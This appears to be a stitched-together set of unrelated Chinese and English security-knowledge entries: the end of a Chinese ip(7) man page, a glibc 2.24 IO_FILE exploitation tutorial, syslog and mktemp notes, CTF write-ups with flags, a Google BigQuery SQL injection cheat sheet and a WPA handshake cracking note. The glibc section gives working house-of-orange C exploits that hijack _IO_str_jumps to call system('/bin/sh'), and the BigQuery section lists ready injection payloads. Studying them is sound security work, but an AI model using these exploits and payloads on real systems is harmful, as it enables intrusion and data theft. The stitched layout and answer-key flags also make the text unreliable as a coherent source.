都可应用于ip. .PP 用于配置防火墙应用的ioctl记载在 .B ipchains 包的 .BR ipfw (7) 的文档中. .PP 用来配置普通设备参数的ioctl在 .BR netdevice (7) 中有描述. .\" XXX 加入一章有关多点传送的内容 .SH NOTES(备注) 使用 .B SO_BROADCAST 选项要小心 \- 它在 Linux 中没有权限要求. 不小心的广播很容易导致网络过载.对于新的应用协议而言,最 好是使用多点广播组来替代广播.我们不鼓励使用广播. .PP 有些其它的BSD套接字实现提供了 .I IP_RCVDSTADDR 和 .I IP_RECVIF 套接字选项来获得目的地址以及接收数据报的接口.Linux有更通用的 .I IP_PKTINFO 来完成相同任务. .PP .SH ERRORS(错误) .\" XXX记载所有错误的文档.我们确实应该修复内核以返回更统一的错误信息(ENOMEM对 ENOBUFS,EPERM对EACCES等.) .TP .B ENOTCONN 操作只定义于连接的套接字,而该套接字却没有连接. .TP .B EINVAL 传递无效的参数. 对于发送操作,这可以因发送到一个 .I blackhole(黑洞) 路由而引发. .TP .B EMSGSIZE 数据报大于该路径上的 MTU,并且它不能被分成碎片. .TP .B EACCES 没有必要权限的用户试图执行一项需要某些权限的操作. 这包括: 在没有 .B SO_BROADCAST 标识设置的情况下发送一个包到广播地址. 通过一条 .I 禁止的 路由发送包. 在没有 .B CAP_NET_ADMIN 或者有效用户标识不为0的情况下修改防火墙设置. 在没有 .B CAP_NET_BIND_SERVICE 能力或者有效用户标识不为零0的情况下绑定一个保留端口. .TP .B EADDRINUSE 试图绑定到一个已在使用的地址. .TP .BR ENOMEM " 和 " ENOBUFS 没有足够的内存可用. .TP .BR ENOPROTOOPT " 和 " EOPNOTSUPP 传递无效的套接字选项. .TP .B EPERM 用户没有权限设置高优先级,修改配置或者发送信号到请求的进程或组. .TP .B EADDRNOTAVAIL 请求一个不存在的接口或者请求的源端地址不是本地的. .TP .B EAGAIN 在一个非阻塞的套接字上进行操作会阻塞. .TP .B ESOCKTNOSUPPORT 套接字未配置或者请求了一个未知类型的套接字. .TP .B EISCONN 在一个已经连接的套接字上调用 .BR connect (2) . .TP .B EALREADY 在一个非阻塞的套接字上的连接操作已经在进行中. .TP .B ECONNABORTED 在一次 .BR accept (2) 执行中连接被关闭. .TP .B EPIPE 连接意外关闭或者被对端关闭. .TP .B ENOENT 在没有报到达的套接字上调用 .B SIOCGSTAMP . .TP .B EHOSTUNREACH 没有有效路由表记录匹配目的地址.该错误可以被来自远程路由器的 ICMP消息或者因为本地路由表的缘故而引发. .TP .B ENODEV 网络设备不可用或者不适于发送IP. .TP .B ENOPKG 内核子系统没有配置. .TP .B ENOBUFS, ENOMEM 没有足够的空闲内存. 这常常意味着内存分配因套接字缓冲区的限制而受限, 而不是因为系统内存的缘故,但是这也不是100%正确. .PP 其它错误可能由重叠协议族生成;参看 .BR tcp (7), .BR raw (7), .BR udp (7) 和 .BR socket (7). .SH VERSIONS(版本) .IR IP_PKTINFO , .IR IP_MTU , .IR IP_PMTU_DISCOVER , .IR IP_PKTINFO , .IR IP_RECVERR 和 .IR IP_ROUTER_ALERT 是Linux 2.2中的新选项. .PP .B struct ip_mreqn 也是新出现在Linux 2.2中的.Linux 2.0只支持 .BR ip_mreq . .PP sysctl是在Linux 2.2中引入的. .SH COMPATIBILITY(兼容性) 为了与Linux 2.0相容,仍然支持用过时的 .BI "socket(PF_INET, SOCK_RAW, "protocol ")" 语法打开一个 .BR packet (7) 套接字.我们不赞成这么用,而且应该被 .BI "socket(PF_PACKET, SOCK_RAW, "protocol ")" 所代替.主要的区别就是 新的针对一般链接层信息的 .B sockaddr_ll 地址结构替换了旧的 .B sockaddr_pkt 地址结构. .SH BUGS 有许多不连贯的错误码. .PP 没有描述用来配置特定IP接口选项和ARP表的ioctl. .SH AUTHORS(作者) 该man页作者是Andi Kleen. .SH SEE ALSO(另见) .BR sendmsg (2), .BR recvmsg (2), .BR socket (7), .BR netlink (7), .BR tcp (7), .BR udp (7), .BR raw (7), .BR ipfw (7). .PP RFC791:原始IP规范. .br RFC1122:IPv4主机需求. .br RFC1812:IPv4路由器需求. \" 私语: XXX 自动连接 INADDR REUSEADDR .SH "[中文版维护人]" .B riser <boomer@ccidnet.com> .SH "[中文版最新更新]" .BR 2001/07/19 .SH "《中国linux论坛man手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
# glibc 2.24下 IO_FILE 的利用 ## 介绍 在2.24版本的glibc中,全新加入了针对IO_FILE_plus的vtable劫持的检测措施,glibc 会在调用虚函数之前首先检查vtable地址的合法性。首先会验证vtable是否位于_IO_vtable段中,如果满足条件就正常执行,否则会调用_IO_vtable_check做进一步检查。 ```C /* Check if unknown vtable pointers are permitted; otherwise, terminate the process. */ void _IO_vtable_check (void) attribute_hidden; /* Perform vtable pointer validation. If validation fails, terminate the process. */ static inline const struct _IO_jump_t * IO_validate_vtable (const struct _IO_jump_t *vtable) { /* Fast path: The vtable pointer is within the __libc_IO_vtables section. */ uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; uintptr_t ptr = (uintptr_t) vtable; uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) /* The vtable pointer is not in the expected section. Use the slow path, which will terminate the process if necessary. */ _IO_vtable_check (); return vtable; } ``` 计算 `section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;`,紧接着会判断 vtable - __start___libc_IO_vtables 的 offset ,如果这个 offset 大于 section_length ,即大于 `__stop___libc_IO_vtables - __start___libc_IO_vtables` 那么就会调用 `_IO_vtable_check()` 这个函数。 ```C void attribute_hidden _IO_vtable_check (void) { #ifdef SHARED /* Honor the compatibility flag. */ void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables); #ifdef PTR_DEMANGLE PTR_DEMANGLE (flag); #endif if (flag == &_IO_vtable_check) return; /* In case this libc copy is in a non-default namespace, we always need to accept foreign vtables because there is always a possibility that FILE * objects are passed across the linking boundary. */ { Dl_info di; struct link_map *l; if (_dl_open_hook != NULL || (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0 && l->l_ns != LM_ID_BASE)) return; } #else /* !SHARED */ /* We cannot perform vtable validation in the static dlopen case because FILE * handles might be passed back and forth across the boundary. Therefore, we disable checking in this case. */ if (__dlopen != NULL) return; #endif __libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n"); } ``` 如果vtable是非法的,那么会引发abort。 这里的检查使得以往使用vtable进行利用的技术很难实现 ## 新的利用技术 ### fileno 与缓冲区的相关利用 在vtable难以被利用之后,利用的关注点从vtable转移到_IO_FILE结构内部的域中。 前面介绍过_IO_FILE在使用标准IO库时会进行创建并负责维护一些相关信息,其中有一些域是表示调用诸如fwrite、fread等函数时写入地址或读取地址的,如果可以控制这些数据就可以实现任意地址写或任意地址读。 ``` struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */ char* _IO_read_ptr; /* Current read pointer */ char* _IO_read_end; /* End of get area. */ char* _IO_read_base; /* Start of putback+get area. */ char* _IO_write_base; /* Start of put area. */ char* _IO_write_ptr; /* Current put pointer. */ char* _IO_write_end; /* End of put area. */ char* _IO_buf_base; /* Start of reserve area. */ char* _IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */ struct _IO_marker *_markers; struct _IO_FILE *_chain; int _fileno; int _flags2; _IO_off_t _old_offset; /* This used to be _offset but it's too small. */ }; ``` 因为进程中包含了系统默认的三个文件流stdin\stdout\stderr,因此这种方式可以不需要进程中存在文件操作,通过scanf\printf一样可以进行利用。 在_IO_FILE中_IO_buf_base表示操作的起始地址,_IO_buf_end表示结束地址,通过控制这两个数据可以实现控制读写的操作。 #### 示例 简单的观察一下_IO_FILE对于调用scanf的作用 ``` #include "stdio.h" char buf[100]; int main() { char stack_buf[100]; scanf("%s",stack_buf); scanf("%s",stack_buf); } ``` 在执行程序第一次使用stdin之前,stdin的内容还未初始化是空的 ``` 0x7ffff7dd18e0 <_IO_2_1_stdin_>: 0x00000000fbad2088 0x0000000000000000 0x7ffff7dd18f0 <_IO_2_1_stdin_+16>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1900 <_IO_2_1_stdin_+32>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1910 <_IO_2_1_stdin_+48>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1920 <_IO_2_1_stdin_+64>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1930 <_IO_2_1_stdin_+80>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1940 <_IO_2_1_stdin_+96>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1950 <_IO_2_1_stdin_+112>: 0x0000000000000000 0xffffffffffffffff 0x7ffff7dd1960 <_IO_2_1_stdin_+128>: 0x0000000000000000 0x00007ffff7dd3790 0x7ffff7dd1970 <_IO_2_1_stdin_+144>: 0xffffffffffffffff 0x0000000000000000 0x7ffff7dd1980 <_IO_2_1_stdin_+160>: 0x00007ffff7dd19c0 0x0000000000000000 0x7ffff7dd1990 <_IO_2_1_stdin_+176>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd19a0 <_IO_2_1_stdin_+192>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd19b0 <_IO_2_1_stdin_+208>: 0x0000000000000000 0x00007ffff7dd06e0 <== vtable ``` 调用scanf之后可以看到_IO_read_ptr、_IO_read_base、_IO_read_end、_IO_buf_base、_IO_buf_end等域都被初始化 ``` 0x7ffff7dd18e0 <_IO_2_1_stdin_>: 0x00000000fbad2288 0x0000000000602013 0x7ffff7dd18f0 <_IO_2_1_stdin_+16>: 0x0000000000602014 0x0000000000602010 0x7ffff7dd1900 <_IO_2_1_stdin_+32>: 0x0000000000602010 0x0000000000602010 0x7ffff7dd1910 <_IO_2_1_stdin_+48>: 0x0000000000602010 0x0000000000602010 0x7ffff7dd1920 <_IO_2_1_stdin_+64>: 0x0000000000602410 0x0000000000000000 0x7ffff7dd1930 <_IO_2_1_stdin_+80>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1940 <_IO_2_1_stdin_+96>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1950 <_IO_2_1_stdin_+112>: 0x0000000000000000 0xffffffffffffffff 0x7ffff7dd1960 <_IO_2_1_stdin_+128>: 0x0000000000000000 0x00007ffff7dd3790 0x7ffff7dd1970 <_IO_2_1_stdin_+144>: 0xffffffffffffffff 0x0000000000000000 0x7ffff7dd1980 <_IO_2_1_stdin_+160>: 0x00007ffff7dd19c0 0x0000000000000000 0x7ffff7dd1990 <_IO_2_1_stdin_+176>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd19a0 <_IO_2_1_stdin_+192>: 0x00000000ffffffff 0x0000000000000000 0x7ffff7dd19b0 <_IO_2_1_stdin_+208>: 0x0000000000000000 0x00007ffff7dd06e0 ``` 进一步思考可以发现其实stdin初始化的内存是在堆上分配出来的,在这里堆的基址是0x602000,因为之前没有堆分配因此缓冲区的地址也是0x602010 ``` Start End Offset Perm Path 0x0000000000400000 0x0000000000401000 0x0000000000000000 r-x /home/vb/桌面/tst/1/t1 0x0000000000600000 0x0000000000601000 0x0000000000000000 r-- /home/vb/桌面/tst/1/t1 0x0000000000601000 0x0000000000602000 0x0000000000001000 rw- /home/vb/桌面/tst/1/t1 0x0000000000602000 0x0000000000623000 0x0000000000000000 rw- [heap] ``` 分配的堆大小是0x400个字节,正好对应于_IO_buf_base~_IO_buf_end 在进行写入后,可以看到缓冲区中有我们写入的数据,之后目的地址栈中的缓冲区也会写入数据 ``` 0x602000: 0x0000000000000000 0x0000000000000411 <== 分配0x400大小 0x602010: 0x000000000a333231 0x0000000000000000 <== 缓冲数据 0x602020: 0x0000000000000000 0x0000000000000000 0x602030: 0x0000000000000000 0x0000000000000000 0x602040: 0x0000000000000000 0x0000000000000000 ``` 接下来我们尝试修改_IO_buf_base来实现任意地址读写,全局缓冲区buf的地址是0x7ffff7dd2740。修改_IO_buf_base和_IO_buf_end到缓冲区buf的地址 ``` 0x7ffff7dd18e0 <_IO_2_1_stdin_>: 0x00000000fbad2288 0x0000000000602013 0x7ffff7dd18f0 <_IO_2_1_stdin_+16>: 0x0000000000602014 0x0000000000602010 0x7ffff7dd1900 <_IO_2_1_stdin_+32>: 0x0000000000602010 0x0000000000602010 0x7ffff7dd1910 <_IO_2_1_stdin_+48>: 0x0000000000602010 0x00007ffff7dd2740 <== _IO_buf_base 0x7ffff7dd1920 <_IO_2_1_stdin_+64>: 0x00007ffff7dd27c0 0x0000000000000000 <== _IO_buf_end 0x7ffff7dd1930 <_IO_2_1_stdin_+80>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1940 <_IO_2_1_stdin_+96>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1950 <_IO_2_1_stdin_+112>: 0x0000000000000000 0xffffffffffffffff 0x7ffff7dd1960 <_IO_2_1_stdin_+128>: 0x0000000000000000 0x00007ffff7dd3790 0x7ffff7dd1970 <_IO_2_1_stdin_+144>: 0xffffffffffffffff 0x0000000000000000 0x7ffff7dd1980 <_IO_2_1_stdin_+160>: 0x00007ffff7dd19c0 0x0000000000000000 0x7ffff7dd1990 <_IO_2_1_stdin_+176>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd19a0 <_IO_2_1_stdin_+192>: 0x00000000ffffffff 0x0000000000000000 0x7ffff7dd19b0 <_IO_2_1_stdin_+208>: 0x0000000000000000 0x00007ffff7dd06e0 ``` 之后scanf的读入数据就会写入到0x7ffff7dd2740的位置 ``` 0x7ffff7dd2740 <buf>: 0x00000a6161616161 0x0000000000000000 0x7ffff7dd2750 <buffer>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd2760 <buffer>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd2770 <buffer>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd2780 <buffer>: 0x0000000000000000 0x0000000000000000 ``` ### _IO_str_jumps -> overflow `libc`中不仅仅只有`_IO_file_jumps`这么一个`vtable`,还有一个叫`_IO_str_jumps`的 ,这个 `vtable` 不在check范围之内。 ```c const struct _IO_jump_t _IO_str_jumps libio_vtable = { JUMP_INIT_DUMMY, JUMP_INIT(finish, _IO_str_finish), JUMP_INIT(overflow, _IO_str_overflow), JUMP_INIT(underflow, _IO_str_underflow), JUMP_INIT(uflow, _IO_default_uflow), JUMP_INIT(pbackfail, _IO_str_pbackfail), JUMP_INIT(xsputn, _IO_default_xsputn), JUMP_INIT(xsgetn, _IO_default_xsgetn), JUMP_INIT(seekoff, _IO_str_seekoff), JUMP_INIT(seekpos, _IO_default_seekpos), JUMP_INIT(setbuf, _IO_default_setbuf), JUMP_INIT(sync, _IO_default_sync), JUMP_INIT(doallocate, _IO_default_doallocate), JUMP_INIT(read, _IO_default_read), JUMP_INIT(write, _IO_default_write), JUMP_INIT(seek, _IO_default_seek), JUMP_INIT(close, _IO_default_close), JUMP_INIT(stat, _IO_default_stat), JUMP_INIT(showmanyc, _IO_default_showmanyc), JUMP_INIT(imbue, _IO_default_imbue) }; ``` 如果我们能设置文件指针的 `vtable` 为 `_IO_str_jumps` 么就能调用不一样的文件操作函数。这里以`_IO_str_overflow`为例子: ```c int _IO_str_overflow (_IO_FILE *fp, int c) { int flush_only = c == EOF; _IO_size_t pos; if (fp->_flags & _IO_NO_WRITES)// pass return flush_only ? 0 : EOF; if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING)) { fp->_flags |= _IO_CURRENTLY_PUTTING; fp->_IO_write_ptr = fp->_IO_read_ptr; fp->_IO_read_ptr = fp->_IO_read_end; } pos = fp->_IO_write_ptr - fp->_IO_write_base; if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))// should in { if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */ // pass return EOF; else { char *new_buf; char *old_buf = fp->_IO_buf_base; size_t old_blen = _IO_blen (fp); _IO_size_t new_size = 2 * old_blen + 100; if (new_size < old_blen)//pass 一般会通过 return EOF; new_buf = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);//target [fp+0xe0] if (new_buf == NULL) { /* __ferror(fp) = 1; */ return EOF; } if (old_buf) { memcpy (new_buf, old_buf, old_blen); (*((_IO_strfile *) fp)->_s._free_buffer) (old_buf); /* Make sure _IO_setb won't try to delete _IO_buf_base. */ fp->_IO_buf_base = NULL; } memset (new_buf + old_blen, '\0', new_size - old_blen); _IO_setb (fp, new_buf, new_buf + new_size, 1); fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf); fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf); fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf); fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf); fp->_IO_write_base = new_buf; fp->_IO_write_end = fp->_IO_buf_end; } } if (!flush_only) *fp->_IO_write_ptr++ = (unsigned char) c; if (fp->_IO_write_ptr > fp->_IO_read_end) fp->_IO_read_end = fp->_IO_write_ptr; return c; } libc_hidden_def (_IO_str_overflow) ``` 利用以下代码来劫持程序流程 ```c new_buf = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size); ``` 几个条件 bypass: 1. `1. fp->_flags & _IO_NO_WRITES为假` 2. `2. (pos = fp->_IO_write_ptr - fp->_IO_write_base) >= ((fp->_IO_buf_end - fp->_IO_buf_base) + flush_only(1))` 3. `3. fp->_flags & _IO_USER_BUF(0x01)为假` 4. `4. 2*(fp->_IO_buf_end - fp->_IO_buf_base) + 100 不能为负数` 5. `5. new_size = 2 * (fp->_IO_buf_end - fp->_IO_buf_base) + 100; 应当指向/bin/sh字符串对应的地址` 6. `6. fp+0xe0指向system地址` 构造: ``` _flags = 0 _IO_write_base = 0 _IO_write_ptr = (binsh_in_libc_addr -100) / 2 +1 _IO_buf_end = (binsh_in_libc_addr -100) / 2 _freeres_list = 0x2 _freeres_buf = 0x3 _mode = -1 vtable = _IO_str_jumps - 0x18 ``` #### 示例 修改了 how2heap 的 houseoforange 代码,可以自己动手调试一下。 ```c #include <stdio.h> #include <stdlib.h> #include <string.h> int winner ( char *ptr); int main() { char *p1, *p2; size_t io_list_all, *top; // unsorted bin attack p1 = malloc(0x400-16); top = (size_t *) ( (char *) p1 + 0x400 - 16); top[1] = 0xc01; p2 = malloc(0x1000); io_list_all = top[2] + 0x9a8; top[3] = io_list_all - 0x10; // _IO_str_overflow conditions char binsh_in_libc[] = "/bin/sh\x00"; // we can found "/bin/sh" in libc, here i create it in stack // top[0] = ~1; // top[0] &= ~8; top[0] = 0; top[4] = 0; // write_base top[5] = ((size_t)&binsh_in_libc-100)/2 + 1; // write_ptr top[7] = 0; // buf_base top[8] = top[5] - 1; // buf_end // house_of_orange conditions top[1] = 0x61; top[20] = (size_t) &top[18]; top[21] = 2; top[22] = 3; top[24] = -1; top[27] = (size_t)stdin - 0x3868-0x18; // _IO_str_jumps地址 top[28] = (size_t) &winner; /* Finally, trigger the whole chain by calling malloc */ malloc(10); return 0; } int winner(char *ptr) { system(ptr); return 0; } ``` 同时 house of pig 中的利用也是比较典型的例子,注意到满足 ```cpp pos = fp->_IO_write_ptr - fp->_IO_write_base; if (pos >= (size_t) (_IO_blen (fp) + flush_only)) ``` 的时候,会先后执行 ```cpp size_t old_blen = _IO_blen (fp); // #define _IO_blen (fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base) new_buf = malloc (new_size); memcpy (new_buf, old_buf, old_blen); free (old_buf); ``` 三个操作,伪造 _IO_FILE 并劫持 vtable 为 _IO_str_jumps 通过一个 large bin attack 就可以轻松实现,并且我们上面三个语句中的 new_size,old_buf 和 old_blen 是我们可控的,这个函数就可以实现以下三步 1. 调用 malloc,实现从 tcache 中分配 chunk,在这里就可以把我们之前放入的 __free_hook fake chunk 申请出来 2. 将一段可控长度可控内容的内存段拷贝置 malloc 得来的 chunk 中(可以修改 __free_hook 为 system) 3. 调用 free,且参数为内存段起始地址("/bin/sh\x00",getshell) 也就是只要我们构造得当,执行该函数即可 getshell。 ### _IO_str_jumps -> finish 原理与上面的 _IO_str_jumps -> overflow 类似 ```c void _IO_str_finish (_IO_FILE *fp, int dummy) { if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF)) (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); //[fp+0xe8] fp->_IO_buf_base = NULL; _IO_default_finish (fp, 0); } ``` 条件: 1. _IO_buf_base不为空 2. _flags & _IO_USER_BUF(0x01) 为假 构造如下: ```bash _flags = (binsh_in_libc + 0x10) & ~1 _IO_buf_base = binsh_addr _freeres_list = 0x2 _freeres_buf = 0x3 _mode = -1 vtable = _IO_str_finish - 0x18 fp+0xe8 -> system_addr ``` #### 示例 修改了 how2heap 的 houseoforange 代码,可以自己动手调试一下。 ```c #include <stdio.h> #include <stdlib.h> #include <string.h> int winner ( char *ptr); int main() { char *p1, *p2; size_t io_list_all, *top; // unsorted bin attack p1 = malloc(0x400-16); top = (size_t *) ( (char *) p1 + 0x400 - 16); top[1] = 0xc01; p2 = malloc(0x1000); io_list_all = top[2] + 0x9a8; top[3] = io_list_all - 0x10; // _IO_str_finish conditions char binsh_in_libc[] = "/bin/sh\x00"; // we can found "/bin/sh" in libc, here i create it in stack top[0] = ((size_t) &binsh_in_libc + 0x10) & ~1; top[7] = ((size_t)&binsh_in_libc); // buf_base // house_of_orange conditions top[1] = 0x61; top[5] = 0x1 ; //_IO_write_ptr top[20] = (size_t) &top[18]; top[21] = 2; top[22] = 3; top[24] = -1; top[27] = (size_t) stdin - 0x33f0 - 0x18; top[29] = (size_t) &winner; top[30] = (size_t) &top[30]; malloc(10); return 0; } int winner(char *ptr) { system(ptr); return 0; } ```
sec-knowleage
syslog === 系统默认的日志守护进程 ## 补充说明 **syslog** 是Linux系统默认的日志守护进程。默认的syslog配置文件是/etc/syslog.conf文件。程序,守护进程和内核提供了访问系统的日志信息。因此,任何希望生成日志信息的程序都可以向 syslog 接口呼叫生成该信息。 几乎所有的网络设备都可以通过syslog协议,将日志信息以用户数据报协议(UDP)方式传送到远端服务器,远端接收日志服务器必须通过syslogd监听UDP 端口514,并根据 syslog.conf配置文件中的配置处理本机,接收访问系统的日志信息,把指定的事件写入特定文件中,供后台数据库管理和响应之用。意味着可以让任何事件都登录到一台或多台服务器上,以备后台数据库用off-line(离线) 方法分析远端设备的事件。 通常,syslog 接受来自系统的各种功能的信息,每个信息都包括重要级。/etc/syslog.conf 文件通知 syslogd 如何根据设备和信息重要级别来报告信息。 ### 使用方法 在/var/log中创建并写入日志信息是由syslog协议处理的,是由守护进程sylogd负责执行。每个标准的进程都可以用syslog记录日志。可以使用logger命令通过syslogd记录日志。 要向syslog文件/var/log/messages中记录日志信息: ```shell logger this is a test log line 输出: tail -n 1 messages Jan 5 10:07:03 localhost root: this is a test log line ``` 如果要记录特定的标记(tag)可以使用: ```shell logger -t TAG this is a test log line 输出: tail -n 1 messages Jan 5 10:37:14 localhost TAG: this is a test log line ```
sec-knowleage
# Untitled-1.pdf (Misc, 50pts, 286 solves) This PDF has a flag on it, but I can't find it... can you? In this task we were given a pdf file. Running `pdftotext untitled.pdf` gave us flag.
sec-knowleage
mktemp === 创建临时文件供shell脚本使用 ## 补充说明 **mktemp命令** 被用来创建临时文件供shell脚本使用。 ### 语法 ```shell mktemp(选项)(参数) ``` ### 选项 ```shell -q:执行时若发生错误,不会显示任何信息; -u:暂存文件会在mktemp结束前先行删除; -d:创建一个目录而非文件。 ``` ### 参数 文件:指定创建的临时文件。
sec-knowleage
# vault-door-5 Reverse Engineering, 300 points ## Description: > In the last challenge, you mastered octal (base 8), decimal (base 10), and hexadecimal (base 16) numbers, but this vault door uses a different change of base as well as URL encoding! ```java import java.net.URLDecoder; import java.util.*; class VaultDoor5 { public static void main(String args[]) { VaultDoor5 vaultDoor = new VaultDoor5(); Scanner scanner = new Scanner(System.in); System.out.print("Enter vault password: "); String userInput = scanner.next(); String input = userInput.substring("picoCTF{".length(),userInput.length()-1); if (vaultDoor.checkPassword(input)) { System.out.println("Access granted."); } else { System.out.println("Access denied!"); } } // Minion #7781 used base 8 and base 16, but this is base 64, which is // like... eight times stronger, right? Riiigghtt? Well that's what my twin // brother Minion #2415 says, anyway. // // -Minion #2414 public String base64Encode(byte[] input) { return Base64.getEncoder().encodeToString(input); } // URL encoding is meant for web pages, so any double agent spies who steal // our source code will think this is a web site or something, defintely not // vault door! Oh wait, should I have not said that in a source code // comment? // // -Minion #2415 public String urlEncode(byte[] input) { StringBuffer buf = new StringBuffer(); for (int i=0; i<input.length; i++) { buf.append(String.format("%%%2x", input[i])); } return buf.toString(); } public boolean checkPassword(String password) { String urlEncoded = urlEncode(password.getBytes()); String base64Encoded = base64Encode(urlEncoded.getBytes()); String expected = "JTYzJTMwJTZlJTc2JTMzJTcyJTc0JTMxJTZlJTY3JTVm" + "JTY2JTcyJTMwJTZkJTVmJTYyJTYxJTM1JTY1JTVmJTM2" + "JTM0JTVmJTY0JTYyJTM2JTM5JTM0JTM2JTYyJTYx"; return base64Encoded.equals(expected); } } ``` ## Solution: Let's use Javascript to decode the password: ```console root@kali:/media/sf_CTFs/pico/vault-door-5# node > decodeURIComponent(Buffer.from("JTYzJTMwJTZlJTc2JTMzJTcyJTc0JTMxJTZlJTY3JTVmJTY2JTcyJTMwJTZkJTVmJTYyJTYxJTM1JTY1JTVmJTM2JTM0JTVmJTY0JTYyJTM2JTM5JTM0JTM2JTYyJTYx", 'base64').toString()); 'c0nv3rt1ng_fr0m_ba5e_64_db6946ba' ``` Therefore, the flag is `picoCTF{c0nv3rt1ng_fr0m_ba5e_64_db6946ba}`.
sec-knowleage
# Google BigQuery SQL Injection ## Summary * [Detection](#detection) * [BigQuery Comment](#bigquery-comment) * [BigQuery Union Based](#bigquery-union-based) * [BigQuery Error Based](#bigquery-error-based) * [BigQuery Boolean Based](#bigquery-boolean-based) * [BigQuery Time Based](#bigquery-time-based) * [References](#references) ## Detection * Use a classic single quote to trigger an error: `'` * Identify BigQuery using backtick notation: ```SELECT .... FROM `` AS ...``` ```ps1 # Gathering project id select @@project_id # Gathering all dataset names select schema_name from INFORMATION_SCHEMA.SCHEMATA # Gathering data from specific project id & dataset select * from `project_id.dataset_name.table_name` ``` ## BigQuery Comment ```ps1 select 1#from here it is not working select 1/*between those it is not working*/ ``` ## BigQuery Union Based ```ps1 UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name# true) GROUP BY column_name LIMIT 1 UNION ALL SELECT (SELECT 'asd'),1,1,1,1,1,1)) AS T1 GROUP BY column_name# true) GROUP BY column_name LIMIT 1 UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name# ' GROUP BY column_name UNION ALL SELECT column_name,1,1 FROM (select column_name AS new_name from `project_id.dataset_name.table_name`) AS A GROUP BY column_name# ``` ## BigQuery Error Based ```ps1 # Error based - division by zero ' OR if(1/(length((select('a')))-1)=1,true,false) OR ' # Error based - casting: select CAST(@@project_id AS INT64) dataset_name.column_name` union all select CAST(@@project_id AS INT64) ORDER BY 1 DESC# ``` ## BigQuery Boolean Based ```ps1 ' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'# ``` ## BigQuery Time Based * Time based functions does not exist in the BigQuery syntax. ## References * [BigQuery SQL Injection Cheat Sheet - Ozgur Alp - Feb 14](https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac) * [BigQuery Documentation - Query Syntax](https://cloud.google.com/bigquery/docs/reference/standard-sql/query-syntax) * [BigQuery Documentation - Functions and Operators](https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators) * [Akamai Web Application Firewall Bypass Journey: Exploiting “Google BigQuery” SQL Injection Vulnerability - By Duc Nguyen The, March 31, 2020](https://hackemall.live/index.php/2020/03/31/akamai-web-application-firewall-bypass-journey-exploiting-google-bigquery-sql-injection-vulnerability/)
sec-knowleage
### WIFI相关标准介绍 > `802.11` 是现今无线局域网通用的标准,常见认证方式 > > - 不启用安全‍‍ > - `WEP‍‍` > - `WPA/WPA2-PSK`(预共享密钥)‍‍ > - `PA/WPA2 802.1X` (`radius` 认证) ### WPA-PSK建立过程描述 其中四次握手过程 1. 4次握手开始于验证器(AP),它产生一个随机的值(ANonce)发送给请求者 2. 请求者也产生了它自己的随机SNonce,然后用这两个Nonces以及PMK生成了PTK。请求者回复消息2给验证器,还有一个MIC(message integrity code,消息验证码)作为PMK的验证 3. 它先要验证请求者在消息2中发来的MIC等信息,验证成功后,如果需要就生成GTK。然后发送消息3 4. 请求者收到消息3,验证MIC,安装密钥,发送消息4,一个确认信息。验证器收到消息4,验证MIC,安装相同的密钥 ### WIFI相关例题 > 实验吧: `shipin.cap` 从大量的`Deauth` 攻击基本可以判断是一个破解 `wifi` 时的流量攻击 同时也成功发现了握手包信息 接下来跑密码 - `linux` : `aircrack` 套件 - `windows` : `wifipr` ,速度比 `esaw` 快, `GTX850` 能将近 `10w\s :`) 得到密码`88888888`在 `wireshark` 中`Edit -> Preferences -> Protocols -> IEEE802.11 -> Edit`以`key:SSID`形式填入即可解密 `wifi` 包看到明文流量 > KCARCK相关: https://www.krackattacks.com/
sec-knowleage
